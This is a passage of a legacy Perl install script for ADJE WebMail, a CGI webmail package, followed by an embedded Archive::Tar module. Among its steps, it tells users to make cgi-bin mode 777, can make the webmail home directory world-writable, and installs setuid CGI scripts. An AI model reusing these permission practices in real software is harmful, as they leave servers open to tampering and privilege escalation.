#!/usr/bin/perl

use File::Find;
use File::Copy;
use File::Path;

# From http://mail.us-it.net/ebay/cgi-bin/install357.pl
# NOTE: If you had to change the path to perl (above) to execute this
# script, don't worry, the install process will effect the change in
# the cgi scripts used by webmail!  COOL!
# Your safest bet is to do a symbolic link from your current perl location
# to /usr/bin/perl, like this: ln -s /usr/sbin/perl /usr/bin/perl

require 5.004;

# check to see if install option specified on command line...

$option = shift @ARGV;

# This file reads itself (Freud would have a field day with this one,
# not to mention Letterman!) to determine where your perl executable is.
# If it is NOT /usr/bin/perl, will change all cgi files 

# see if perl executable has been changed...

open(FH,"<$0");
$_=<FH>;
close(FH);

/^(.*)\s+/ && ($perl_exec=$1); # just in case someone decides to add args...
($perl_exec !~ /^#!\/usr\/bin\/perl$/) && ($change_perl_exec=1);

($suid_perl_exec = $perl_exec) =~ s/[^\/]+$/suidperl/;
($suid_perl_fname = $suid_perl_exec) =~ s/^..//;


# size before download (size install script SHOULD be!)

$ftp_size = int("   1157120"); # do not change this line!!

$uname = (getpwuid($<))[0]; # get user name...

if ( $uname eq "root" ) {
  print "\nERROR: You may not execute this script as 'root'!\n\n";
  exit;
}

# get user id and group id for user "$uname"

($t0,$t1,$wm_uid,$wm_gid,$t4,$t5,$t6,$wm_home) = getpwnam($uname);
$wm_home =~ s/\/+$//; # remove trailing slashes...
$real_wm_home = $wm_home;

# special thanks to Beth for catching this one...

if (!open(WFH,">$wm_home/ADJExyz.txt")) {
  print "\n";
  print "Can't write to webmail's home directory : $wm_home\n";
  print "Please check permissions and try again...exiting...\n";
  print "\n";
  exit;
} else {
  close(WFH);
  unlink "$wm_home/ADJExyz.txt";
}

# should have done this long ago...

if (! -f "$wm_home/colors.txt") {
  ! -d "$wm_home/ADJE_WebMail_Dir" && mkdir("$wm_home/ADJE_WebMail_Dir",0700);
  $wm_home="$wm_home/ADJE_WebMail_Dir";
}

print<<HEREDOC;

               *** SOFTWARE INSTALLATION INSTRUCTIONS ***

A) Create a user called "webmail" on your system.
B) log in as user webmail
C) Create a cgi-bin directory for "webmail".  If you have problems executing
   cgi scripts from this directory, try specifying root's cgi-bin directory
   when you run the install script (usually /home/httpd/cgi-bin).  You'll
   have to set permissions to 777 (chmod 777 /home/httpd/cgi-bin).
   You may return permissions on cgi-bin to 755 after installation.
D) Run the install script: "./install.pl".
E) ENJOY! If you have problems/questions: support\@adjeweb.com

HEREDOC

if ( $wm_uid !~ /^\d+$/ ) {
print<<HEREDOC;

** ERROR: No user id for user $uname.
          You must create user '$uname' on your system
          before running this install script!

          Exiting...

HEREDOC
exit;
}

if ( $wm_gid !~ /^\d+$/ ) {
print<<HEREDOC;

** ERROR: No group id for user $uname.
          You must create user '$uname' on your system
          before running this install script!

          Exiting...

HEREDOC
exit;
}

# Get domain of POP (mail) server...
# We do this first because if the software is installed on the POP server,
# you should be able to enter defaults for the remaining entries...


# get full path to cgi-bin directory. No relative paths or ~, PLEASE!!

do {
  print "\n   Enter full path to cgi-bin directory : ";
  chomp($_ = <STDIN>);
  ($cgidir,$lic) = split;
  $cgidir =~ s/\/+$//; # just in case there is a "/" at the end...
} while (! -d $cgidir && print "\n ** ERROR: Directory $cgidir not found\n" ) ;

# Test to make sure we can make directories in cgi-bin

mkdir("$cgidir/ADJExyz",0777);

if (! -d "$cgidir/ADJExyz") {
print<<HEREDOC;

*** ERROR: User $uname cannot create directories in $cgidir.
           Please change permissions on directory and try again...

Exiting....

HEREDOC
exit;
} else {
    rmdir("$cgidir/ADJExyz");
}

#
# Use values from previous installation for defaults if available...
#

$pfile = "$cgidir/WebMail/params.cgi";

if ( -f $pfile ) {
 open(FH,"<$pfile");
 while(<FH>) {
   /\s*#/ && next; # ignore comments...
   /POPSERVER.*"(.*?)"/  && ($last_pop = $1);
   /SMTPSERVER.*"(.*?)"/ && ($last_smtp = $1);
   /INSTALLOPTION.*"(.*?)"/ && ($last_option = $1);
   /\{LIC\}.*"(.*?)"/ && ($last_lic = $1);
 }
}

# This is now set up to copy permissions from a previous installation
# should be handy for upgrades...

$perm = "6755"; # for suidperl in Red Hat Linux
(! -e "/usr/bin/suidperl") && ($perm = "755"); # if suidperl not present..

if (!$option) {
 
  $inbox = "$cgidir/WebMail/inbox.cgi";

  if (-f $inbox) {
    my ($dev,$inode,$mode) = stat($inbox); #returns mode in base 10
    my $oct = sprintf("%o",$mode); # converts mode to octal
    ($oct =~ /(....)$/) && ($perm = $1); # only need last 4 digits
#    $perm=oct($perm); # convert back to base 10 for chmode
  }

} elsif ($option eq "server") { # for backward compatibility
  $perm = "0755";
} elsif ($option eq "setuid") { # for backward compatibility
  $perm = "6755";
} elsif ($option =~ /^\d+$/) { # if option is a number, set permissions to it..
  $perm = $option;
}


# If POP server is not this machine (localhost), get IP address or 
# domain name of remote POP server...

$default='localhost';

defined($last_pop) && ($default = $last_pop);

print "\n";
print "   Enter the IP address of the POP server\n";
print "   OR enter the domain name of the POP server.\n";
print "   (i.e. 205.167.234.14 or mail.ro.com ).\n";
print "\n";
print "   [$default] : ";

chomp($pop = <STDIN>);
!$pop && ($pop = $default);

# If SMTP server is not this machine (localhost), get IP address or
# domain name of remote SMTP server...

$default='localhost';

defined($last_smtp) && ($default = $last_smtp);

print "\n";
print "   Enter the IP address of the SMTP (sendmail) server\n";
print "   OR enter the domain name of the SMTP (sendmail) server.\n";
print "   (i.e. 205.167.234.14 or smtp.ro.com ).\n";
print "\n";
print "   [$default] : ";

chomp($smtp = <STDIN>);
!$smtp && ($smtp = $default);

$spss="1";
if ($option eq "server") {

print<<HEREDOC;

   Storing passwords on the server enables the software to update your
   Mail Box each time it is displayed and at Log Out, however, it is not
   considered secure with the server option.  If you choose not to store
   passwords, the software will only update your POP server at Log In.

HEREDOC
print "   Store Passwords on Server (y/n) [n] : ";

chomp($tspss = <STDIN>);
!$tspss && ($tspss = "n");
$spss = ($tspss =~ /^n/i) ? "0" : "1";
}

#
# Read in archive (all that junk after the __END__) to 
# determine webmail version number
#

$start = tell(DATA);
$fin   =  -s "$0";
$end   = $fin - $start;

open(FH,">$wm_home/ADJE_arc.tar");
binmode(DATA);
while($bytes=read(DATA,$_,512)) {
  $tot += $bytes;

  # This is probably too cute to hold up, but what we're doing here is
  # eliminating any "\n"'s that vi may have put at the end of this file
  # if the user had to edit the location of perl, etc...
  # The archive MUST end with a NULL character...

  if ($tot == $end) {
    while( length && ($char=substr($_,-1)) && ord($char) ) { chop; }
  }

  print FH $_;
}
close(FH);

$arcsize = -s "$wm_home/ADJE_arc.tar";
# Exit if download size is incorrect...

# override size check if perl executable changed - this should be a rare event

if ( $arcsize != $ftp_size ) {
print<<HEREDOC;

  *** ERROR, Exiting... ***

  Incorrect software download.
  Download archive size should be $ftp_size bytes, not $arcsize bytes.
  This install script must be downloaded as binary data.
  Please redownload software and/or
  contact ADJE tech support: support\@adjeweb.com

HEREDOC
exit(0);
}

#
# read in archive contents to determine webmail version
#

# first, uncompress archive, as all versions of tar do not support "-z" option
chdir($wm_home);
@arclist=Archive::Tar->list_archive("$wm_home/ADJE_arc.tar");

chomp($wmver=$arclist[0]);
$wmver =~ s/\///;

#
# Install archive contents to cgi-bin....
#

$wmcgidir = "$cgidir/$wmver";
$WebMail_cgidir = "$cgidir/WebMail";

chdir($cgidir);
$wmver && (-d $wmcgidir) && rmtree($wmcgidir); # remove previous install

if ( !defined(Archive::Tar->extract_archive("$wm_home/ADJE_arc.tar")) ) {
  print "Could not extract archive, exiting...\n";
  exit;
}

# we're done with the archive, let's remove it!

-f "$wm_home/ADJE_arc.tar" && unlink "$wm_home/ADJE_arc.tar";

# prompt for language and copy to language.cgi

opendir(FH,$wmcgidir);
while ($_=readdir(FH)) {
  /language\.(.+?)\.cgi/ && push(@langfiles,$1);
}

@langs = sort {$a cmp $b} @langfiles;

print "\n";
print "   Enter language for labels, buttons, etc...\n";
print "\n";
$i=0;
for (@langs) {
 print "   $i) $_\n";
 /^english$/ && ($engnum = $i);
 $i++;
}

 do {
   print "\n   [$engnum] : ";
   chomp($langnum=<STDIN>);
   ($langnum eq '') && ($langnum=$engnum);
 } while ( ( ($langnum !~ /\d+/) || ($langnum > $#langs) ) && print "\n ** ERROR: Enter 0 - $#langs\n" ) ;

 $langfname = "language.$langs[$langnum].cgi";
 $langname  = $langs[$langnum];
 print "\n   Language = $langname\n";


if (! -f "$wm_home/trailers.txt") {
#  rename("$wmcgidir/trailers.txt","$wm_home/trailers.txt");
   copy("$wmcgidir/trailers.txt","$wm_home/trailers.txt");
   copy("$wmcgidir/trailers.txt","$wm_home/trailers.txt.bkup");
   chmod(0644,"$wm_home/trailers.txt");
}

# these cause too much confusion, so nuke 'em

   unlink "$wmcgidir/trailers.txt";
   unlink "$WebMail_cgidir/trailers.txt";

if (! -f "$wm_home/ads.html") {
#  rename("$wmcgidir/ads.html","$wm_home/ads.html");
   copy("$wmcgidir/ads.html","$wm_home/ads.html");
   copy("$wmcgidir/ads.html","$wm_home/ads.html.bkup");
   chmod(0644,"$wm_home/ads.html");
}
   unlink "$wmcgidir/ads.html";
   unlink "$WebMail_cgidir/ads.html";

if (! -f "$wm_home/colors.txt") {
#  rename("$wmcgidir/colors.txt","$wm_home/colors.txt");
   copy("$wmcgidir/colors.txt","$wm_home/colors.txt");
   copy("$wmcgidir/colors.txt","$wm_home/colors.txt.bkup");
   chmod(0644,"$wm_home/colors.txt");
}
   unlink "$wmcgidir/colors.txt";
   unlink "$WebMail_cgidir/colors.txt";

# Copy entire directory structure to the WebMail directory.
# This is our first stab at an easy upgrade process...

$file = File::NCopy->new(
        'recursive'      => 1,
        'preserve'       => 1,
        'follow_links'   => 1,
        'force_write'   => 1,
);

# if WebMail dir exists, remove all contents, if not, create it...

$main_wmdir = "$cgidir/WebMail";
if ( -d $main_wmdir) {
  rmtree("$main_wmdir");
} 
mkdir($main_wmdir,0755);

# copy all files/dirs from version to main (WebMail) directory..

$file->copy("$wmcgidir/.",$main_wmdir);

#
# copy language files...
#

copy("$wmcgidir/$langfname","$wmcgidir/language.cgi");
copy("$wmcgidir/$langfname","$main_wmdir/language.cgi");
chmod(0755,"$wmcgidir/language.cgi");
chmod(0755,"$main_wmdir/language.cgi");

# This is where we get to change the source to suit this
# system. The dash is for DC..! GO VANESSA!
#
# - Update perl executable if needed
# - Update use lib "." with hard coded current cgi directory
#

opendir(DFH,$wmcgidir);
while($_=readdir(DFH)) {
  !/cgi$/ && next; # only mod cgi files...
  ($base,$ext) = split(/\./,$_);
  $src_fullpath="$wmcgidir/$_";
  $tmp_fullpath="$wmcgidir/$base.tmp";
  open(SFH,"<$src_fullpath");
  open(TFH,">$tmp_fullpath");
  open(WFH,">$main_wmdir/$_");

  # change perl executable in source if not /usr/bin/perl...
  # you may not like the coding, but ya gotta "hats-off" to the
  # attention to  detail...

  if ($change_perl_exec) {
    $src_exec = <SFH>;
    ($new_perl_exec = $src_exec) =~ s/^#!.*? /$perl_exec /;
#    @srcexec=split(/ +/,$src_exec); # get command line arguments...
#    $srcexec[0]=$perl_exec;
#    $new_perl_exec = "@srcexec"; # joins elements with a " " (space)...
    print TFH "$new_perl_exec";
    print WFH "$new_perl_exec";
  }

  # hard code cgi dir path in cgi scripts...

  while (<SFH>) {
   if (/^use +lib +\"(.)/) {
     ($tfh=$_)=~s/\"./\"$wmcgidir/;
     ($wfh=$_)=~s/\"./\"$main_wmdir/;
     print TFH $tfh;
     print WFH $wfh;
     next;
   }

   if (/^require +\"./) {
     ($tfh=$_)=~s/\"./\"$wmcgidir/;
     ($wfh=$_)=~s/\"./\"$main_wmdir/;
     print TFH $tfh;
     print WFH $wfh;
     next;
   }

   if (/^do +\'./) {
     ($tfh=$_)=~s/\'./\'$wmcgidir/;
     ($wfh=$_)=~s/\'./\'$main_wmdir/;
     print TFH $tfh;
     print WFH $wfh;
     next;
   }
   print TFH $_;
   print WFH $_;
  }

  close(SFH);
  close(TFH);
  close(WFH);

  # copy modified source over original source....

  rename($tmp_fullpath,$src_fullpath);
}
close(DFH);

#
# Read in params.cgi from cgi-bin directory
#

$p_fname = "$wmcgidir/params.cgi"; # full path to params.cgi

! -f $p_fname && (print "* ERROR, exiting.. *, can't find $p_fname\n") && exit;

open(PFH,"<$p_fname");
@params = <PFH>; # "slurp" the params.cgi file into an array....
close(PFH);

# Write params.cgi with new POP, SMTP and ISP parameters...

($wmver =~ /wm(\d)(\d+)/) && ($version = "$1.$2");

for (@params) {

  / *#/ && (print PFH $_) && next; # do not process comments

  /\{POPSERVER\}/ && s/".*?"/"$pop"/;
  /\{SMTPSERVER\}/ && s/".*?"/"$smtp"/;
  /\{CGIBIN\}/ && s/".*?"/"$cgidir"/; # for version 3.54
  /\{INSTALLOPTION\}/ && s/".*?"/"$option"/;
  /\{SPSS\}/ && s/".*?"/"$spss"/;
  /\{DEBUG\}/ && s/".*?"/"0"/; # disable debug flag
  /\{WEBMAILDIR\}/ && s/".*?"/"$wm_home"/; # set home directory
  (/\{LIC\}/ && $last_lic) && s/".*?"/"$last_lic"/;
  (/\{LIC\}/ && $lic) && s/".*?"/"$lic"/;
  /\{VERSION\}/ && s/".*?"/"$version"/;
  /\{ADID\}/ && s/".*?"/"temp"/;
  /\{ADNO\}/ && s/".*?"/"temp"/;
  /\{LANGUAGE\}/ && s/".*?"/"$langname"/;
}

# write params file with install inputs to version directory AND 
# WebMail directory and our home directory....

$"="";
open(PFH,">$wmcgidir/params.cgi");
print PFH "@params";
close(PFH);

open(PFH,">$cgidir/WebMail/params.cgi");
print PFH "@params";
close(PFH);

open(PFH,">$wm_home/.params.cgi.backup"); # for version 3.54
print PFH "@params";
close(PFH);

# Set cgi file permissions

$octperm = $perm;
$perm=oct($perm); # convert back to base 10 for chmod

find(\&chmod_cgis,$wmcgidir);
find(\&chmod_cgis,$main_wmdir);
# only set webmail's home directory to 777 if cgi files are 755
($octperm =~ /[^6]755$/) && chmod(0777,$wm_home);
($octperm =~ /[^6]755$/) && chmod(0777,$real_wm_home);

# Ensure the permissions on cgitest.cgi are 0755

$wm_cgitest   = "$wmcgidir/cgitest.cgi";
$main_cgitest = "$main_wmdir/cgitest.cgi";
-f $wm_cgitest   && chmod(0755,$wm_cgitest);
-f $main_cgitest && chmod(0755,$main_cgitest);

print<<HEREDOC;

TERMS:  This software is free to use and modify under the terms below.

The advertisement html may NOT be changed, and no additional ad banners
may be placed on the pages.  This is how we are compensated.  The ad banners,
on a good month, will generate about \$1 (one US dollar) in revenue, so it's
hardly worth the risk of a copyright infringement! If you wish to include
your own ad banners, you may purchase a license.  Please visit our
home page for details. You may not remove copyright and disclaimers from pages.

DISCLAIMER: Use this software at your own risk.

WARNING: This computer program is protected by copyright law and international
treaties. Unauthorized reproduction or distribution of this program, or any
portion of it, may result in severe civil and criminal penalties, and will be
prosecuted to the maximum extent possible under the law.

We're here to help! Contact us at support\@adjeweb.com!

Michael Mohlere, President, ADJE, LLC ( http://www.adjeweb.com )

** Press <CR> to continue....

HEREDOC

$_=<STDIN>;

print<<HEREDOC;

==> Access Your E-Mail     : $main_wmdir/index.cgi
==> Cgi scripts directory  : $main_wmdir/
==> README File            : $main_wmdir/README.txt
==> E-Mail Trailer File    : $wm_home/trailers.txt
==> Web Page Color Control : $wm_home/colors.txt

==> README File Contents:
    1) INSTALLATION EXAMPLES 2) CUSTOMIZING/IMPROVING THE SOFTWARE
    3) SOFTWARE FUNCTIONAL OVERVIEW 4) SYSTEM REQUIREMENTS AND LIMITATIONS
    5) TERMS OF USE 6) TECHNICAL SUPPORT!!! 7) VERSION IMPROVEMENTS

==> IMPORTANT: Sign up for free software updates at http://www.adjeweb.com!

  ** NOTES **
- Edit the E-Mail Trailer File (above) to PROMOTE YOUR WEB SITE!
- Edit the Color Control File (above) to control web page background colors!

** FINISHED Installing ADJE Webmail Version $version **

HEREDOC

# yes, I know, there are always more graceful ways of doing things!

sub chmod_cgis {

 # set cgi file permissions to passed in argument, an octal number

# my ($perm) = @_;

# $perm=oct($perm); # convert back to base 10 for chmod

 my $name = "$File::Find::dir/$_";

 chown $wm_uid, $wm_gid, $name; # some screwy systems need this!
 chmod(0755,$name);
 -f $name && ($name =~ /cgi$/) && chmod($perm,$name);
}

sub chmod_06755 {

 my $name = "$File::Find::dir/$_";

 chown $wm_uid, $wm_gid, $name; # some screwy systems need this!
 chmod(0755,$name);
 -f $name && ($name =~ /cgi$/) && chmod(06755,$name);
}

sub chmod_0755 {

 my $name = "$File::Find::dir/$_";

 chown $wm_uid, $wm_gid, $name; # some screwy systems need this!
 chmod(0755,$name);
}

# ya gotta LOVE this.. finally, almost system independent...

BEGIN {
package Archive::Tar;

use strict;
use Carp qw(carp);
use Cwd;
use Fcntl qw(O_RDONLY O_WRONLY O_CREAT O_TRUNC);
use File::Basename;
use Symbol;
require Time::Local if $^O eq "MacOS";

use vars qw($VERSION @ISA @EXPORT_OK %EXPORT_TAGS);
$VERSION = do { my @a=q$Name: version_0_21 $ =~ /\d+/g; sprintf "%d." . ("%02d" x $#a ),@a };

require Exporter;
@ISA = qw(Exporter);

@EXPORT_OK = qw(FILE HARDLINK SYMLINK 
		CHARDEV BLOCKDEV DIR
		FIFO SOCKET INVALID);
%EXPORT_TAGS = (filetypes => \@EXPORT_OK);

# Check if symbolic links are available
my $symlinks = eval { readlink $0 or 1; };
carp "Symbolic links not available"
    unless $symlinks || !$^W;

# Check if Compress::Zlib is available
my $compression = eval { 
    local $SIG{__DIE__};
    require Compress::Zlib; 
    sub Compress::Zlib::gzFile::gzseek {
	my $tmp;

	$_[0]->gzread ($tmp, 4096), $_[1] -= 4096
	    while ($_[1] > 4096);

	$_[0]->gzread ($tmp, $_[1])
	  if $_[1];
    }
    1;
};
carp "Compression not available"
    unless $compression || !$^W;

# Check for get* (they don't exist on WinNT)
my $fake_getpwuid;
$fake_getpwuid = "unknown"
    unless eval { $_ = getpwuid (0); }; # Pointless assigment to make -w shut up

my $fake_getgrgid;
$fake_getgrgid = "unknown"
    unless eval { $_ = getgrgid (0); }; # Pointless assigment to make -w shut up

# Automagically detect gziped files if they start with this
my $gzip_magic_number = "^(?:\037\213|\037\235)";

my $tar_unpack_header 
    = 'A100 A8 A8 A8 A12 A12 A8 A1 A100 A6 A2 A32 A32 A8 A8 A155 x12';
my $tar_pack_header
    = 'a100 a8 a8 a8 a12 a12 A8 a1 a100 a6 a2 a32 a32 a8 a8 a155 x12',
my $tar_header_length = 512;

my $time_offset = ($^O eq "MacOS") ? Time::Local::timelocal(0,0,0,1,0,70) : 0;

## Subroutines to return type constants 
sub FILE() { return 0; }
sub HARDLINK() { return 1; }
sub SYMLINK() { return 2; }
sub CHARDEV() { return 3; }
sub BLOCKDEV() { return 4; }
sub DIR() { return 5; }
sub FIFO() { return 6; }
sub SOCKET() { return 8; }
sub UNKNOWN() { return 9; }

###
### Non-method functions
###

my $error;
sub _drat {
    $error = $! . '';
    return;
}

sub error {
    $error;
}

## filetype -- Determine the type value for a given file
sub filetype {
    my $file = shift;

    return SYMLINK
	if (-l $file);		# Symlink

    return FILE
	if (-f _);		# Plain file

    return DIR
	if (-d _);		# Directory

    return FIFO
	if (-p _);		# Named pipe

    return SOCKET
	if (-S _);		# Socket

    return BLOCKDEV
	if (-b _);		# Block special

    return CHARDEV
	if (-c _);		# Character special

    return UNKNOWN;		# Something else (like what?)
}

sub _make_special_file_UNIX {
    my ($file) = @_;

    if ($file->{type} == SYMLINK) {
	symlink $_->{linkname}, $file or
	    $^W && carp ("Making symbolic link from ", $file->{linkname}, 
			 " to ", $file->{name}, ", failed.\n");
    }
    elsif ($file->{type} == HARDLINK) {
	link $_->{linkname}, $file or
	    $^W && carp ("Hard linking ", $_->{linkname}, 
			 " to ", $file, ", failed.\n");
    }
    elsif ($file->{type} == FIFO) {
	system("mknod","$file","p") or
	    $^W && carp "Making fifo ", $file, ", failed.\n";
    }
    elsif ($file->{type} == BLOCKDEV) {
	system("mknod","$file","b",$_->{devmajor},$_->{devminor}) or
	    $^W && carp ("Making block device ", $file,
			 " (maj=", $_->{devmajor}, 
			 ", min=", $_->{devminor}, "), failed.\n");
    }
    elsif ($file->{type} == CHARDEV) {
	system("mknod", "$file", "c", $_->{devmajor}, $_->{devminor}) or
	    $^W && carp ("Making block device ", $file, 
			 " (maj=", $_->{devmajor}, 
			 " ,min=", $_->{devminor}, "), failed.\n");
    }
}

sub _make_special_file_Win32 {
    my ($file) = @_;

    if ($file->{type} == SYMLINK) {
	$^W && carp ("Making symbolic link from ", $file->{linkname}, 
		     " to ", $file->{name}, ", failed.\n");
    }
    elsif ($file->{type} == HARDLINK) {
	link $_->{linkname}, $file->{name} or
	    $^W && carp ("Making hard link from ", $file->{linkname}, 
			 " to ", $file->{name}, ", failed.\n");
    }
    elsif ($file->{type} == FIFO) {
	$^W && carp "Making fifo ", $file, ", failed.\n";
    }
    elsif ($file->{type} == BLOCKDEV) {
	$^W && carp ("Making block device ", $file->{name},
		     " (maj=", $file->{devmajor}, 
		     ", min=", $file->{devminor}, "), failed.\n");
    }
    elsif ($file->{type} == CHARDEV) {
	$^W && carp ("Making block device ", $file->{name},
		     " (maj=", $file->{devmajor}, 
		     " ,min=", $file->{devminor}, "), failed.\n");
    }
}

*_make_special_file = $^O eq "MSWin32" ? 
    \&_make_special_file_Win32 : \&_make_special_file_UNIX;

sub _munge_file {
#
#  Mac path to the Unix like equivalent to be used in tar archives
#
    my $inpath = $_[0];
#
#  If there are no :'s in the name at all, assume it's a single item in the
#  current directory.  Return it, changing any / in the name into :
#
    if ($inpath !~ m,:,) {
	$inpath =~ s,/,:,g;
	return $inpath;
    }
#
#  If we now split on :, there will be just as many nulls in the list as
#  there should be up requests, except if it begins with a :, where there
#  will be one extra.
#
    my @names = split (/:/, $inpath);
    shift (@names)
	if ($names[0] eq "");
    my @outname = ();
#
#  Work from the end.
#
    my $i;
    for ($i = $#names; $i >= 0; --$i) {
	if ($names[$i] eq "") {
	    unshift (@outname, "..");
	} 
	else {
	    $names[$i] =~ s,/,:,g;
	    unshift (@outname, $names[$i]);
	}
    }
    my $netpath = join ("/", @outname);
    $netpath = $netpath . "/" if ($inpath =~ /:$/);
    if ($inpath !~ m,^:,) {
	return "/".$netpath;
    } 
    else {
	return $netpath;
    }
}

sub _get_handle {
    my $fh;

    sysseek $_[0], 0, 0;

    if ($compression && (@_ < 2 || $_[1] != 0)) {
	my $mode = $#_ ? (int($_[1]) > 1 ?
			  "wb".int($_[1]) : "wb") : "rb";

	$fh = Compress::Zlib::gzopen ($_[0], $mode)
	    or goto &_drat;
    }
    else {
	$fh = bless *{$_[0]}{IO}, "Archive::Tar::_io";
	binmode $fh
	    or goto &_drat;
    }

    return $fh;
}

sub _read_tar {
    my ($file, $seekable, $extract) = @_;
    my $tarfile = [];
    my ($head, $offset, $size);

    $file->gzread ($head, $tar_header_length)
	or goto &_drat;

    if (substr ($head, 0, 2) =~ /$gzip_magic_number/o) {
	$error =
	    "Compression not available\n";
	return undef;
    }

    $offset = $tar_header_length
	if $seekable;

 READLOOP:
    while (length ($head) == $tar_header_length) {
	my ($name,		# string
	    $mode,		# octal number
	    $uid,		# octal number
	    $gid,		# octal number
	    $size,		# octal number
	    $mtime,		# octal number
	    $chksum,		# octal number
	    $type,		# character
	    $linkname,		# string
	    $magic,		# string
	    $version,		# two bytes
	    $uname,		# string
	    $gname,		# string
	    $devmajor,		# octal number
	    $devminor,		# octal number
	    $prefix) = unpack ($tar_unpack_header, $head);
	my ($data, $block, $entry);

	$mode = oct $mode;
	$uid = oct $uid;
	$gid = oct $gid;
	$size = oct $size;
	$mtime = oct $mtime;
	$chksum = oct $chksum;
	$devmajor = oct $devmajor;
	$devminor = oct $devminor;
	$name = $prefix."/".$name if $prefix;
	$prefix = "";
	# some broken tar-s don't set the type for directories
	# so we ass_u_me a directory if the name ends in slash
	$type = DIR
	    if $name =~ m|/$| and not $type;

	last READLOOP if $head eq "\0" x 512; # End of archive
	# Apparently this should really be two blocks of 512 zeroes,
	# but GNU tar sometimes gets it wrong. See comment in the
	# source code (tar.c) to GNU cpio.

	substr ($head, 148, 8) = "        ";
	if (unpack ("%16C*", $head) != $chksum) {
	   warn "$name: checksum error.\n";
	}

	unless ($extract) {
	# Always read in full 512 byte blocks
	    $block = $size & 0x01ff ? ($size & ~0x01ff) + 512 : $size;
	    if ($seekable) {
		while ($block > 4096) {
		    $file->gzread ($data, 4096)
			or goto &_drat;
		    $block -= 4096;
		}
		$file->gzread ($data, $block)
		    or goto &_drat
			if ($block);

		# Ignore everything we've just read.
		undef $data;
	    } else {
		if ($file->gzread ($data, $block) < $block) {
		    $error = "Read error on tarfile.";
		    return undef;
		}

		# Throw away any trailing garbage
		substr ($data, $size) = "";
	    }
	}

	# Guard against tarfiles with garbage at the end
	last READLOOP if $name eq ''; 

	$entry = {name => $name,		    
		  mode => $mode,
		  uid => $uid,
		  gid => $gid,
		  size => $size,
		  mtime => $mtime,
		  chksum => $chksum,
		  type => $type,
		  linkname => $linkname,
		  magic => $magic,
		  version => $version,
		  uname => $uname,
		  gname => $gname,
		  devmajor => $devmajor,
		  devminor => $devminor,
		  prefix => $prefix,
		  offset => $offset,
		  data => $data};

	if ($extract) {
	    _extract_file ($entry, $file);
	    $file->gzread ($head, 512 - ($size & 0x1ff)) 
		or goto &_drat
		    if ($size & 0x1ff);
	}
	else {
	    push @$tarfile, $entry;
	}

	$offset += $tar_header_length +
	    ($size & 0x01ff ? ($size & ~0x01ff) + 512 : $size)
		if $seekable;
	$file->gzread ($head, $tar_header_length) 
	    or goto &_drat;
    }

    $file->gzclose ()
	unless $seekable;

    return $tarfile
	unless $extract;
}

sub _format_tar_entry {
    my ($ref) = shift;
    my ($tmp,$file,$prefix,$pos);

    $file = $ref->{name};
    if (length ($file) > 99) {
	$pos = index $file, "/", (length ($file) - 100);
	next
	    if $pos == -1;	# Filename longer than 100 chars!

	$prefix = substr $file,0,$pos;
	$file = substr $file,$pos+1;
	substr ($prefix, 0, -155) = ""
	    if length($prefix)>154;
    }
    else {
	$prefix="";
    }

    $tmp = pack ($tar_pack_header,
		 $file,
		 sprintf("%6o ",$ref->{mode}),
		 sprintf("%6o ",$ref->{uid}),
		 sprintf("%6o ",$ref->{gid}),
		 sprintf("%11o ",$ref->{size}),
		 sprintf("%11o ",$ref->{mtime}),
		 "",		#checksum field - space padded by pack("A8")
		 $ref->{type},
		 $ref->{linkname},
		 $ref->{magic},
		 $ref->{version} || '00',
		 $ref->{uname},
		 $ref->{gname},
		 sprintf("%6o ",$ref->{devmajor}),
		 sprintf("%6o ",$ref->{devminor}),
		 $prefix);
    substr($tmp,148,7) = sprintf("%6o\0", unpack("%16C*",$tmp));

    return $tmp;
}

sub _format_tar_file {
    my @tarfile = @_;
    my $file = "";

    foreach (@tarfile) {
	$file .= _format_tar_entry $_;
	$file .= $_->{data};
	$file .= "\0" x (512 - ($_->{size} & 0x1ff))
	    if ($_->{size} & 0x1ff);
    }
    $file .= "\0" x 1024;

    return $file;
}

sub _write_tar {
    my $file = shift;
    my $entry;

    foreach $entry ((ref ($_[0]) eq 'ARRAY') ? @{$_[0]} : @_) {
	next
	    unless (ref ($entry) eq 'HASH');

	my $src = $^O eq "MacOS" ? "" : $entry->{name};
	sysopen (FH, $src, O_RDONLY)
	    && binmode (FH)
		or next
		    unless $entry->{type} != FILE || $entry->{data};

	$file->gzwrite (_format_tar_entry ($entry))
	    or goto &_drat;

	if ($entry->{type} == FILE) {
	    if ($entry->{data}) {
		$file->gzwrite ($entry->{data})
		    or goto &_drat;
	    }
	    else {
		my $size = $entry->{size};
		my $data;
		while ($size >= 4096) {
		    sysread (FH, $data, 4096)
			&& $file->gzwrite ($data)
			    or goto &_drat;
		    $size -= 4096;
		}
		sysread (FH, $data, $size)
		    && $file->gzwrite ($data)
			or goto &_drat
			    if $size;
		close FH;
	    }
	    $file->gzwrite ("\0" x (512 - ($entry->{size} & 511)))
		or goto &_drat
		    if ($entry->{size} & 511);
	}
    }

    $file->gzwrite ("\0" x 1024)
	and !$file->gzclose ()
	    or goto &_drat;
}

sub _add_file {
    my $file = shift;
    my ($mode,$nlnk,$uid,$gid,$rdev,$size,$mtime,$type,$linkname);

    if (($mode,$nlnk,$uid,$gid,$rdev,$size,$mtime) = (lstat $file)[2..7,9]) {
	$linkname = "";
	$type = filetype ($file);

	$linkname = readlink $file
	    if ($type == SYMLINK) && $symlinks;

	$file = _munge_file ($file)
	    if ($^O eq "MacOS");

	return +{name => $file,		    
		 mode => $mode,
		 uid => $uid,
		 gid => $gid,
		 size => $size,
		 mtime => (($mtime - $time_offset) || 0),
		 chksum => "      ",
		 type => $type, 
		 linkname => $linkname,
		 magic => "ustar",
		 version => "00",
		 # WinNT protection
		 uname => ($fake_getpwuid || scalar getpwuid($uid)),
		 gname => ($fake_getgrgid || scalar getgrgid ($gid)),
		 devmajor => 0, # We don't handle this yet
		 devminor => 0, # We don't handle this yet
		 prefix => "",
		 data => undef,
		};
    }
}

sub _extract_file {
    my ($entry, $handle) = @_;
    my ($file, $cwd, @path);

    # For the moment, we assume that all paths in tarfiles
    # are given according to Unix standards.
    # Which they *are*, according to the tar format spec!
    @path = split(/\//,$entry->{name});
    $file = pop @path;
    $file =~ s,:,/,g
	if $^O eq "MacOS";
    $cwd = cwd
	if @path;
    foreach (@path) {
	if ($^O eq "MacOS") {
	    s,:,/,g;
	    $_ = "::" if $_ eq "..";
	    $_ = ":" if $_ eq ".";
	}
	if (-e $_ && ! -d _) {
	    $^W && carp "$_ exists but is not a directory!\n";
	    next;
	}
	mkdir $_, 0777 unless -d _;
	chdir $_;
    }

    if ($entry->{type} == FILE) {	# Ordinary file
